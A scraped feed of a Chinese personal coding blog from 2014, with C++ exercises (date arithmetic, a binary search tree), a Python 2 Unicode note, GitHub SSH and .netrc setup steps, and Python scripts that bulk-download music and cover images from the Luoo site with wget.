<span class="n">cout</span> <span class="o"><<</span> <span class="n">year</span> <span class="o"><<</span> <span class="s">"-"</span> <span class="o"><<</span> <span class="n">month</span> <span class="o"><<</span> <span class="s">"-"</span> <span class="o"><<</span> <span class="n">day</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="n">Date</span><span class="o">::</span><span class="n">Date</span><span class="p">(){</span>
<span class="kt">time_t</span> <span class="n">tt</span><span class="p">;</span>
<span class="n">time</span><span class="p">(</span><span class="o">&</span><span class="n">tt</span><span class="p">);</span>
<span class="k">struct</span> <span class="nc">tm</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">localtime</span><span class="p">(</span><span class="o">&</span><span class="n">tt</span><span class="p">);</span>
<span class="n">year</span> <span class="o">=</span> <span class="n">p</span><span class="o">-></span><span class="n">tm_year</span> <span class="o">+</span> <span class="mi">1900</span><span class="p">;</span>
<span class="n">month</span> <span class="o">=</span> <span class="n">p</span><span class="o">-></span><span class="n">tm_mon</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">day</span> <span class="o">=</span> <span class="n">p</span><span class="o">-></span><span class="n">tm_mday</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">Date</span><span class="o">::</span><span class="n">leap</span><span class="p">(</span><span class="kt">int</span> <span class="n">year</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">year</span> <span class="o">%</span> <span class="mi">4</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&&</span> <span class="n">year</span> <span class="o">%</span> <span class="mi">100</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">year</span> <span class="o">%</span> <span class="mi">400</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">else</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">Date</span><span class="o">::</span><span class="n">dton</span><span class="p">(</span><span class="n">Date</span> <span class="o">&</span><span class="n">d</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">year</span> <span class="o">=</span> <span class="n">d</span><span class="p">.</span><span class="n">getyear</span><span class="p">();</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">year</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">leap</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="n">ret</span> <span class="o">+=</span> <span class="mi">366</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">ret</span> <span class="o">+=</span> <span class="mi">365</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">d</span><span class="p">.</span><span class="n">getmonth</span><span class="p">()</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">leap</span><span class="p">(</span><span class="n">year</span><span class="p">))</span>
<span class="n">ret</span> <span class="o">+=</span> <span class="n">day_tab</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="n">i</span><span class="p">];</span>
<span class="k">else</span>
<span class="n">ret</span> <span class="o">+=</span> <span class="n">day_tab</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">ret</span> <span class="o">+</span> <span class="n">d</span><span class="p">.</span><span class="n">getday</span><span class="p">();</span>
<span class="p">}</span>
<span class="c1">// 将天数转换成日期</span>
<span class="n">Date</span> <span class="n">Date</span><span class="o">::</span><span class="n">ntod</span><span class="p">(</span><span class="kt">int</span> <span class="n">days</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">rest</span> <span class="o">=</span> <span class="n">days</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">y</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">m</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="nb">true</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">leap</span><span class="p">(</span><span class="n">y</span><span class="p">)){</span>
<span class="k">if</span><span class="p">(</span><span class="n">rest</span> <span class="o"><=</span> <span class="mi">366</span><span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">rest</span> <span class="o">-=</span> <span class="mi">366</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span><span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">rest</span> <span class="o"><=</span> <span class="mi">365</span><span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">rest</span> <span class="o">-=</span> <span class="mi">365</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">y</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span><span class="p">(</span><span class="nb">true</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">leap</span><span class="p">(</span><span class="n">y</span><span class="p">)){</span>
<span class="k">if</span><span class="p">(</span><span class="n">rest</span> <span class="o">></span> <span class="n">day_tab</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="n">m</span> <span class="o">-</span> <span class="mi">1</span><span class="p">])</span>
<span class="n">rest</span> <span class="o">-=</span> <span class="n">day_tab</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="n">m</span> <span class="o">-</span> <span class="mi">1</span><span class="p">];</span>
<span class="k">else</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span><span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">rest</span> <span class="o">></span> <span class="n">day_tab</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="n">m</span> <span class="o">-</span> <span class="mi">1</span><span class="p">])</span>
<span class="n">rest</span> <span class="o">-=</span> <span class="n">day_tab</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="n">m</span> <span class="o">-</span> <span class="mi">1</span><span class="p">];</span>
<span class="k">else</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">m</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">Date</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">m</span><span class="p">,</span> <span class="n">rest</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">Date</span> <span class="n">d</span><span class="p">;</span>
<span class="n">Date</span> <span class="n">then</span><span class="p">(</span><span class="mi">2011</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">26</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">d</span> <span class="o">-</span> <span class="n">then</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>#END</p>
二叉树-cpp
2014-08-16T00:00:00+00:00
http://fish267.github.io/2014/08/16/cpp-practice
<p>建立一个二叉树,然后中序遍历一下,存储过程留意下, 代码实现如下:
<!--more--></p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include<iostream>
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="k">struct</span> <span class="nc">tree</span><span class="p">{</span>
<span class="kt">int</span> <span class="n">data</span><span class="p">;</span>
<span class="n">tree</span> <span class="o">*</span><span class="n">right</span><span class="p">,</span> <span class="o">*</span><span class="n">left</span><span class="p">;</span>
<span class="p">};</span>
<span class="k">class</span> <span class="nc">Btree</span><span class="p">{</span>
<span class="nl">private:</span>
<span class="n">tree</span> <span class="o">*</span><span class="n">root</span><span class="p">;</span>
<span class="nl">public:</span>
<span class="n">Btree</span><span class="p">(){</span><span class="n">root</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;}</span>
<span class="kt">void</span> <span class="n">create_btree</span><span class="p">(</span><span class="kt">int</span><span class="p">);</span>
<span class="kt">void</span> <span class="n">display</span><span class="p">(){</span> <span class="n">inorder</span><span class="p">(</span><span class="n">root</span><span class="p">);</span> <span class="n">cout</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;}</span>
<span class="kt">void</span> <span class="n">inorder</span><span class="p">(</span><span class="n">tree</span> <span class="o">*</span><span class="p">);</span>
<span class="p">};</span>
<span class="kt">void</span> <span class="n">Btree</span><span class="o">::</span><span class="n">create_btree</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">){</span>
<span class="n">tree</span> <span class="o">*</span><span class="n">newnode</span> <span class="o">=</span> <span class="k">new</span> <span class="n">tree</span><span class="p">;</span>
<span class="n">newnode</span><span class="o">-></span><span class="n">data</span> <span class="o">=</span> <span class="n">x</span><span class="p">;</span>
<span class="n">newnode</span><span class="o">-></span><span class="n">right</span> <span class="o">=</span> <span class="n">newnode</span><span class="o">-></span><span class="n">left</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">root</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">root</span> <span class="o">=</span> <span class="n">newnode</span><span class="p">;</span>
<span class="k">else</span><span class="p">{</span>
<span class="n">tree</span> <span class="o">*</span><span class="n">back</span><span class="p">;</span>
<span class="n">tree</span> <span class="o">*</span><span class="n">current</span> <span class="o">=</span> <span class="n">root</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">current</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">){</span>
<span class="n">back</span> <span class="o">=</span> <span class="n">current</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">current</span><span class="o">-></span><span class="n">data</span> <span class="o">></span> <span class="n">x</span><span class="p">)</span>
<span class="n">current</span> <span class="o">=</span> <span class="n">current</span><span class="o">-></span><span class="n">left</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">current</span> <span class="o">=</span> <span class="n">current</span><span class="o">-></span><span class="n">right</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">back</span><span class="o">-></span><span class="n">data</span> <span class="o">></span> <span class="n">x</span><span class="p">)</span>
<span class="n">back</span><span class="o">-></span><span class="n">left</span> <span class="o">=</span> <span class="n">newnode</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">back</span><span class="o">-></span><span class="n">right</span> <span class="o">=</span> <span class="n">newnode</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">Btree</span><span class="o">::</span><span class="n">inorder</span><span class="p">(</span><span class="n">tree</span> <span class="o">*</span><span class="n">tmp</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">tmp</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">){</span>
<span class="n">inorder</span><span class="p">(</span><span class="n">tmp</span><span class="o">-></span><span class="n">left</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">tmp</span><span class="o">-></span><span class="n">data</span> <span class="o"><<</span> <span class="s">" "</span><span class="p">;</span>
<span class="n">inorder</span><span class="p">(</span><span class="n">tmp</span><span class="o">-></span><span class="n">right</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">Btree</span> <span class="n">a</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">a</span><span class="p">.</span><span class="n">create_btree</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
<span class="n">a</span><span class="p">.</span><span class="n">display</span><span class="p">();</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>#END</p>
Python 处理字符编码
2014-07-20T00:00:00+00:00
http://fish267.github.io/2014/07/20/unicode-in-python
<p>#参考文章
主要参考了这两篇文章,写的非常好:</p>
<p><a href="http://farmdev.com/talks/unicode/">unicode in python</a></p>
<p><a href="http://my.oschina.net/leejun2005/blog/74430">详解 python 中文编码与处理</a></p>
<p>##总结如下
处理文本或者抓取的网页时,尽量这样的初始化:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">unicode_init</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">encoding</span> <span class="o">=</span> <span class="s">'utf-8'</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="nb">basestring</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="nb">unicode</span><span class="p">):</span>
<span class="n">obj</span> <span class="o">=</span> <span class="nb">unicode</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">encodeing</span><span class="p">)</span>
<span class="k">return</span> <span class="n">obj</span></code></pre></figure>
<p>这么处理,是先将不同的编码格式,统一成unicode,然后在输出的时候,再变回去。</p>
<!--more-->
<p>##举个例子
比如下面这个页面,如果直接读取并输出到命令窗,会有堆乱码</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">urllib2</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">'http://tech.sina.com.cn/t/2014-07-20/10009505866.shtml'</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">urllib2</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">()</span></code></pre></figure>
<p>输出结果:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*2\x97\x13)S\x1f\x11F\x05\x8f-HW\xf3 J\x9eH\xe8\x1fO
</code></pre></div></div>
<p>因为那个界面的编码是’gb2312’格式的,所以输出会出乎意料.</p>
<p>这样使用:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">url</span> <span class="o">=</span> <span class="s">'http://tech.sina.com.cn/t/2014-07-20/10009505866.shtml'</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">urllib2</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="k">print</span> <span class="n">unicode_init</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'gb2312'</span><span class="p">)</span> </code></pre></figure>
<p>#END</p>
Github 账户本地初始化
2014-07-20T00:00:00+00:00
http://fish267.github.io/2014/07/20/git-init
<p>又重装了一个ubuntu, 初始化Github账户的过程,又在网上寻觅了一会儿,留个笔记,以后在这里查找~</p>
<h2 id="git账户初始化">Git账户初始化</h2>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>git config <span class="nt">--global</span> user.name <span class="s2">"Your Name"</span>
<span class="nv">$ </span>git config <span class="nt">--global</span> user.email <span class="s2">"email@example.com"</span></code></pre></figure>
<h2 id="生成ssh-key">生成ssh-key</h2>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">cd
mkdir</span> .ssh
<span class="nb">cd</span> .ssh
ssh-keygen <span class="nt">-t</span> rsa <span class="nt">-C</span> <span class="s2">"mail@gmail.com"</span></code></pre></figure>
<p>然后狂点回车,在.ssh目录下生成了两个文件, id_rsa 和 id_rsa.pub</p>
<h2 id="上传ssh-key到github">上传ssh-key到github</h2>
<p>cat 一下id_rsa.pub, 然后添加</p>
<h2 id="建立netrc-避免git-push-输入用户密码">建立.netrc, 避免git push 输入用户密码</h2>
<p>需要在~目录下面,建立一个.netrc文件</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">machine github.com
login fsh267@gmail.com
password <span class="k">*******</span> </code></pre></figure>
<h2 id="测试一下">测试一下</h2>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">fish@Love67:~/python_<span class="nv">$ </span>ssh <span class="nt">-T</span> <span class="nt">-p</span> 443 git@ssh.github.com
Hi fish267! You have successfully authenticated, but GitHub does not provide shell access.</code></pre></figure>
<p>然后,不出意外,就可以使用了~</p>
<h1 id="end">END</h1>
下载落网歌曲和图片
2014-07-10T00:00:00+00:00
http://fish267.github.io/2014/07/10/craw-luoo
<p><strong>说了话长,长话短说</strong>,在上一篇文章的脚本跑到落网第65期时,网站就更新了,以前能同过解析网页源码获取到 mp3 和图片的下载地址,现在不行了, 落网给他加密了!!!</p>
<p>有点不爽,于是趁着今天在公司加班的间隙,试着搞定它,奈何实在无法忍受阅读落网压缩过后的 js 代码。 终于憋尿的情景下, 想到了落网以前正常的 mp3 下载地址格式。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://luoo.800edu.net/low/luoo/radio1/2.mp3
</code></pre></div></div>
<p>这下就有的搞了,分析了一下, 前几十期的歌曲名是 1.mp3 2.mp3 ,后面的都规范为 01.mp3, 02.mp3 了, 图片下载吗, 还是跑到网站上抓 url 了, 总不能连图片地址对浏览器也是加密吧!!</p>
<p>回去了, 今天华为的一个朋友上海回来,一起吃饭吐槽生活, 抱怨社会吧, 哈哈哈~~</p>
<!--more-->
<p>贴上代码, 这个是下载歌曲的, 从下载图片的过程中学习了一下 zip 函数的使用, python 真是太好玩了~</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#coding:utf-8
</span><span class="kn">import</span> <span class="nn">urllib2</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">logging</span>
<span class="n">log_file</span> <span class="o">=</span> <span class="s">'f:\music\log\music.log'</span>
<span class="c1"># log_file = '/home/fish/log/download.log'
</span><span class="n">logger</span> <span class="o">=</span> <span class="n">logging</span><span class="p">.</span><span class="n">getLogger</span><span class="p">()</span>
<span class="n">logger</span><span class="p">.</span><span class="n">addHandler</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">FileHandler</span><span class="p">(</span><span class="n">log_file</span><span class="p">))</span>
<span class="n">logger</span><span class="p">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">DEBUG</span><span class="p">)</span>
<span class="n">mp3URL</span> <span class="o">=</span> <span class="s">'http://luoo.800edu.net/low/luoo/radio601/02.mp3'</span>
<span class="c1"># create 01 02..
# 对于前几期,是1.mp3, 2.mp3...
</span><span class="k">def</span> <span class="nf">createRange</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="n">urlList</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="n">i</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="s">'0'</span> <span class="o">+</span> <span class="n">i</span>
<span class="n">urlList</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="k">return</span> <span class="n">urlList</span>
<span class="c1">#
</span><span class="k">def</span> <span class="nf">getURL</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">'http://luoo.800edu.net/low/luoo/radio'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">url</span> <span class="o">+=</span> <span class="n">vol</span>
<span class="n">jsonList</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">createRange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
<span class="n">jsonList</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s">'/'</span> <span class="o">+</span> <span class="n">item</span> <span class="o">+</span> <span class="s">'.mp3'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">jsonList</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">startWork</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">pwd</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getcwd</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="n">os</span><span class="p">.</span><span class="n">mkdir</span><span class="p">(</span><span class="n">vol</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">volDir</span> <span class="o">=</span> <span class="n">pwd</span> <span class="o">+</span> <span class="n">os</span><span class="p">.</span><span class="n">sep</span> <span class="o">+</span> <span class="n">vol</span>
<span class="n">os</span><span class="p">.</span><span class="n">chdir</span><span class="p">(</span><span class="n">volDir</span><span class="p">)</span>
<span class="k">for</span> <span class="n">song</span> <span class="ow">in</span> <span class="n">getURL</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="k">print</span> <span class="s">'downloading..............'</span> <span class="o">+</span> <span class="n">song</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'wget '</span> <span class="o">+</span> <span class="n">song</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">chdir</span><span class="p">(</span><span class="n">pwd</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">65</span><span class="p">,</span> <span class="mi">625</span><span class="p">):</span>
<span class="n">startWork</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span></code></pre></figure>
<p>下载图片的:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#coding:utf-8
</span><span class="kn">import</span> <span class="nn">urllib2</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span> <span class="k">as</span> <span class="n">bs</span>
<span class="kn">import</span> <span class="nn">logging</span>
<span class="n">log_file</span> <span class="o">=</span> <span class="s">'f:\music\log\music.log'</span>
<span class="c1"># log_file = '/home/fish/log/download.log'
</span><span class="n">logger</span> <span class="o">=</span> <span class="n">logging</span><span class="p">.</span><span class="n">getLogger</span><span class="p">()</span>
<span class="n">logger</span><span class="p">.</span><span class="n">addHandler</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">FileHandler</span><span class="p">(</span><span class="n">log_file</span><span class="p">))</span>
<span class="n">logger</span><span class="p">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">DEBUG</span><span class="p">)</span>
<span class="c1"># create 01 02..
</span><span class="k">def</span> <span class="nf">getURL</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">'http://www.luoo.net/music/'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">imgList</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">url</span> <span class="o">+=</span> <span class="n">vol</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">bs</span><span class="p">(</span><span class="n">urllib2</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="k">for</span> <span class="n">div</span> <span class="ow">in</span> <span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'div'</span><span class="p">,</span> <span class="s">'player-wrapper'</span><span class="p">):</span>
<span class="k">for</span> <span class="n">img</span> <span class="ow">in</span> <span class="n">div</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'img'</span><span class="p">):</span>
<span class="n">imgList</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">img</span><span class="p">[</span><span class="s">'src'</span><span class="p">])</span>
<span class="k">return</span> <span class="n">imgList</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="c1"># print getURL('100')
</span><span class="k">def</span> <span class="nf">startWork</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">pwd</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getcwd</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="n">os</span><span class="p">.</span><span class="n">mkdir</span><span class="p">(</span><span class="n">vol</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">volDir</span> <span class="o">=</span> <span class="n">pwd</span> <span class="o">+</span> <span class="n">os</span><span class="p">.</span><span class="n">sep</span> <span class="o">+</span> <span class="n">vol</span>
<span class="n">os</span><span class="p">.</span><span class="n">chdir</span><span class="p">(</span><span class="n">volDir</span><span class="p">)</span>
<span class="c1"># zip 函数的使用,图片保存并重命名
</span> <span class="k">for</span> <span class="n">song</span><span class="p">,</span> <span class="n">index</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">getURL</span><span class="p">(</span><span class="n">vol</span><span class="p">),</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">getURL</span><span class="p">(</span><span class="n">vol</span><span class="p">)))):</span>
<span class="n">index</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">index</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">index</span> <span class="o">=</span> <span class="s">'0'</span> <span class="o">+</span> <span class="n">index</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s">'wget -c '</span> <span class="o">+</span> <span class="n">song</span> <span class="o">+</span> <span class="s">' -O '</span> <span class="o">+</span> <span class="n">index</span> <span class="o">+</span> <span class="s">'.jpg'</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">chdir</span><span class="p">(</span><span class="n">pwd</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">65</span><span class="p">,</span> <span class="mi">625</span><span class="p">):</span>
<span class="n">startWork</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span></code></pre></figure>
下载落网音乐
2014-07-03T00:00:00+00:00
http://fish267.github.io/2014/07/03/download-luoo-music
<p>本来是在百度网盘上看到落网的一个音乐下载的,目录看着不爽,也懒得调整了,写了个下载脚本,纯单线程下载</p>
<p>主要得益于落网网站源码中包含了下载地址, 用正则匹配出来就可以了</p>
<p>到是练习了一下logging模块,以后写Python脚本的时候,就得用这类的方式查看了,老是用print 太业余了点</p>
<!--more-->
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">urllib2</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">json</span>
